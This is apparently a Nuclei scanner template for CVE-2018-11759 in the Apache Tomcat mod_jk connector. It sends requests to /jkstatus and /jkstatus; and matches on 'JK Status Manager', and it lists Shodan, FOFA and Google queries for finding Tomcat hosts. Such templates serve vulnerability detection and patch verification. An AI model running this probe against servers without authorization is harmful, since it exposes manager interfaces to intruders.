id: CVE-2018-11759

info:
  name: Apache Tomcat JK Connect <=1.2.44 - Manager Access
  author: harshbothra_
  severity: high
  description: |
    Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.
  impact: |
    Unauthenticated attackers can gain unauthorized access to the Apache Tomcat Manager interface, potentially leading to further compromise of the server.
  remediation: |
    Upgrade to a patched version of Apache Tomcat JK Connect (1.2.45 or higher) or apply the recommended security patches.
  reference:
    - https://github.com/immunIT/CVE-2018-11759
    - https://lists.apache.org/thread.html/6d564bb0ab73d6b3efdd1d6b1c075d1a2c84ecd84a4159d6122529ad@%3Cannounce.tomcat.apache.org%3E
    - https://lists.debian.org/debian-lts-announce/2018/12/msg00007.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11759
    - https://access.redhat.com/errata/RHSA-2019:0366
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-11759
    cwe-id: CWE-22
    epss-score: 0.90647
    epss-percentile: 0.99792
    cpe: cpe:2.3:a:apache:tomcat_jk_connector:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat_jk_connector
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
    fofa-query: title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2018,cve,apache,tomcat,httpd,mod-jk,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/jkstatus'
      - '{{BaseURL}}/jkstatus;'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "JK Status Manager"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d47d019e40635afe0f5a9f96230a7aa96c41d07270fe04d1dc8615c121c9d87c022074ae3ab255d7e5d839279477562d5b2f4dfaa465249da75d861d6cedca2162eb:922c64590222798bb761d5b6d8e72950